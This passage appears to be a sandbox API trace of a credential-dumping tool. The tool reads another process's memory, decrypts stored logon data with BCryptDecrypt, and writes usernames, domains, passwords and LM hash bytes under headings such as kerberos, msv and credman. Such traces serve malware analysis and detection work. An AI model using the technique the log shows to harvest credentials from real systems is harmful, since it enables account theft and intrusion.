lpOverlapped=0x0) returned 1 [0195.901] LocalFree (hMem=0x18d310) returned 0x0 [0195.901] LocalFree (hMem=0x16bbc0) returned 0x0 [0195.901] LocalFree (hMem=0x16bba0) returned 0x0 [0195.901] LocalFree (hMem=0x169320) returned 0x0 [0195.901] LocalFree (hMem=0x1692b0) returned 0x0 [0195.901] GetLastError () returned 0x0 [0195.901] SetLastError (dwErrCode=0x0) [0195.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\ndigest :\x09䘤ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ndigest :\x09", lpUsedDefaultChar=0x0) returned 2 [0195.901] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0195.901] GetLastError () returned 0x0 [0195.901] SetLastError (dwErrCode=0x0) [0195.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09kerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=12, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09kerberos :\x09", lpUsedDefaultChar=0x0) returned 12 [0195.901] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xc, lpOverlapped=0x0) returned 1 [0195.904] LocalAlloc (uFlags=0x40, uBytes=0xb4000) returned 0x21f0080 [0195.984] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2c0000, lpBuffer=0x21f0080, nSize=0xb4000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x21f0080*, lpNumberOfBytesRead=0x0) returned 1 [0196.067] LocalFree (hMem=0x21f0080) returned 0x0 [0196.067] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd32955d, lpBuffer=0x10f9c0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f9c0*, lpNumberOfBytesRead=0x0) returned 1 [0196.067] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd362840, lpBuffer=0x10f940, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f940*, lpNumberOfBytesRead=0x0) returned 1 [0196.067] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4590, lpBuffer=0x10f890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f890*, lpNumberOfBytesRead=0x0) returned 1 [0196.067] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.067] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.067] LocalFree (hMem=0x164500) returned 0x0 [0196.067] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a9350, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.067] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.067] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b6000, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalFree (hMem=0x164500) returned 0x0 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d43b0, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e08b0, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalFree (hMem=0x164500) returned 0x0 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x176d90, lpBuffer=0x10f730, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f730*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x183a30, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalFree (hMem=0x164500) returned 0x0 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d4530, lpBuffer=0x10f730, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f730*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e0ac0, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] LocalFree (hMem=0x164500) returned 0x0 [0196.068] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x181de0 [0196.068] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e0ac0, lpBuffer=0x181de0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181de0*, lpNumberOfBytesRead=0x0) returned 1 [0196.068] ConvertSidToStringSidW () returned 0x1 [0196.069] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d310 [0196.069] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d44e0, lpBuffer=0x18d310, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d310*, lpNumberOfBytesRead=0x0) returned 1 [0196.069] IsTextUnicode (in: lpv=0x18d310, iSize=40, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.069] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bba0 [0196.069] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7a90, lpBuffer=0x16bba0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0196.069] IsTextUnicode (in: lpv=0x16bba0, iSize=18, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.069] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bbc0 [0196.069] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7ab0, lpBuffer=0x16bbc0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.069] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x16bbc0, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x10f898, cbIV=0x8, pbOutput=0x16bbc0, cbOutput=0x18, pcbResult=0x10f8c8, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f898, pbOutput=0x16bbc0, pcbResult=0x10f8c8) returned 0x0 [0196.069] GetLastError () returned 0x0 [0196.069] SetLastError (dwErrCode=0x0) [0196.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : \x0c", cchWideChar=80, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 80 [0196.069] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x50, lpOverlapped=0x0) returned 1 [0196.070] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.070] GetLastError () returned 0x0 [0196.070] SetLastError (dwErrCode=0x0) [0196.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : \x0c", cchWideChar=9, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 9 [0196.070] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x9, lpOverlapped=0x0) returned 1 [0196.070] LocalFree (hMem=0x18d310) returned 0x0 [0196.070] LocalFree (hMem=0x16bba0) returned 0x0 [0196.070] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.070] LocalFree (hMem=0x169320) returned 0x0 [0196.070] LocalFree (hMem=0x181de0) returned 0x0 [0196.077] GetLastError () returned 0x0 [0196.077] SetLastError (dwErrCode=0x0) [0196.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nerberos :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.077] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.077] GetLastError () returned 0x0 [0196.077] SetLastError (dwErrCode=0x0) [0196.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09ssp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09ssp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 7 [0196.077] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.077] LocalAlloc (uFlags=0x40, uBytes=0x51000) returned 0x18eb70 [0196.081] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1d0000, lpBuffer=0x18eb70, nSize=0x51000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18eb70*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] LocalFree (hMem=0x18eb70) returned 0x0 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd1d23e0, lpBuffer=0x10f9c0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f9c0*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2178d0, lpBuffer=0x10fa20, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7c70, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d8080, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7d40, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7ba0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7860, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d72b0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7040, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.098] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4370, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.099] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4110, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.099] GetLastError () returned 0x0 [0196.099] SetLastError (dwErrCode=0x0) [0196.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.099] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.099] GetLastError () returned 0x0 [0196.099] SetLastError (dwErrCode=0x0) [0196.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09credman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09credman :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.099] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.099] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x156cf0, lpBuffer=0x10fa40, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.099] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e85a0, lpBuffer=0x10fa00, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0196.100] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x181de0 [0196.100] LocalFree (hMem=0x181de0) returned 0x0 [0196.102] GetLastError () returned 0x0 [0196.103] SetLastError (dwErrCode=0x0) [0196.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nredman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nredman :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.103] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.103] LocalFree (hMem=0x18d290) returned 0x0 [0196.103] LocalFree (hMem=0x16bb60) returned 0x0 [0196.103] LocalFree (hMem=0x16bb80) returned 0x0 [0196.103] LocalFree (hMem=0x18dfa0) returned 0x0 [0196.103] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e6890, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0196.103] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d290 [0196.103] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d4220, lpBuffer=0x18d290, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d290*, lpNumberOfBytesRead=0x0) returned 1 [0196.103] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb80 [0196.103] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7a30, lpBuffer=0x16bb80, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0196.103] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x16bb60 [0196.103] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5c20, lpBuffer=0x16bb60, nSize=0x12, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0196.103] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5c41, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0*, lpNumberOfBytesRead=0x0) returned 1 [0196.103] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18dfa0 [0196.104] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5c40, lpBuffer=0x18dfa0, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18dfa0*, lpNumberOfBytesRead=0x0) returned 1 [0196.104] GetLastError () returned 0x0 [0196.104] SetLastError (dwErrCode=0x0) [0196.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09msv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09msv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 7 [0196.104] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.104] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a69c0, lpBuffer=0x10fa40, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.104] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6e50, lpBuffer=0x10fa58, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa58*, lpNumberOfBytesRead=0x0) returned 1 [0196.104] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x181a40 [0196.104] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6e80, lpBuffer=0x181a40, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.104] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x17db00 [0196.104] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6e78, lpBuffer=0x17db00, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17db00*, lpNumberOfBytesRead=0x0) returned 1 [0196.104] GetLastError () returned 0x0 [0196.104] SetLastError (dwErrCode=0x0) [0196.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 [00000003] Primary", cchWideChar=22, lpMultiByteStr=0x10ea30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 [00000003] PrimaryXDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 22 [0196.105] WriteFile (in: hFile=0x720, lpBuffer=0x10ea30*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x10e370, lpOverlapped=0x0 | out: lpBuffer=0x10ea30*, lpNumberOfBytesWritten=0x10e370*=0x16, lpOverlapped=0x0) returned 1 [0196.105] RtlEqualString (String1="Primary", String2="Primary", CaseInSensitive=0) returned 1 [0196.105] ConvertSidToStringSidW () returned 0x1 [0196.105] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x181a40, cbInput=0x98, pPaddingInfo=0x0, pbIV=0x10f918, cbIV=0x8, pbOutput=0x181a40, cbOutput=0x98, pcbResult=0x10f948, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f918, pbOutput=0x181a40, pcbResult=0x10f948) returned 0x0 [0196.105] GetLastError () returned 0x0 [0196.105] SetLastError (dwErrCode=0x0) [0196.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", cchWideChar=63, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONOLPmcxz\r\n\x09 * Domain : XDUWTFONO\r6mnH7CdKKrname : 5p5NrGJn0jS HAL\r\n\x09 [00000003] PrimaryXDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 63 [0196.105] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x3f, lpOverlapped=0x0) returned 1 [0196.105] GetLastError () returned 0x0 [0196.105] SetLastError (dwErrCode=0x0) [0196.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * LM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", cchWideChar=17, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * LM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONOLPmcxz\r\n\x09 * Domain : XDUWTFONO\r6mnH7CdKKrname : 5p5NrGJn0jS HAL\r\n\x09 [00000003] PrimaryXDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 17 [0196.105] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x11, lpOverlapped=0x0) returned 1 [0196.106] GetLastError () returned 0x0 [0196.106] SetLastError (dwErrCode=0x0) [0196.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.106] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.106] GetLastError () returned 0x0 [0196.106] SetLastError (dwErrCode=0x0) [0196.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e9", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e9 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.106] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.106] GetLastError () returned 0x0 [0196.106] SetLastError (dwErrCode=0x0) [0196.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0c", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0c * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.106] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.107] GetLastError () returned 0x0 [0196.107] SetLastError (dwErrCode=0x0) [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8e", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8e * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.107] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.107] GetLastError () returned 0x0 [0196.107] SetLastError (dwErrCode=0x0) [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d6", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d6 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.107] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.107] GetLastError () returned 0x0 [0196.107] SetLastError (dwErrCode=0x0) [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="43 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.108] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.108] GetLastError () returned 0x0 [0196.108] SetLastError (dwErrCode=0x0) [0196.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 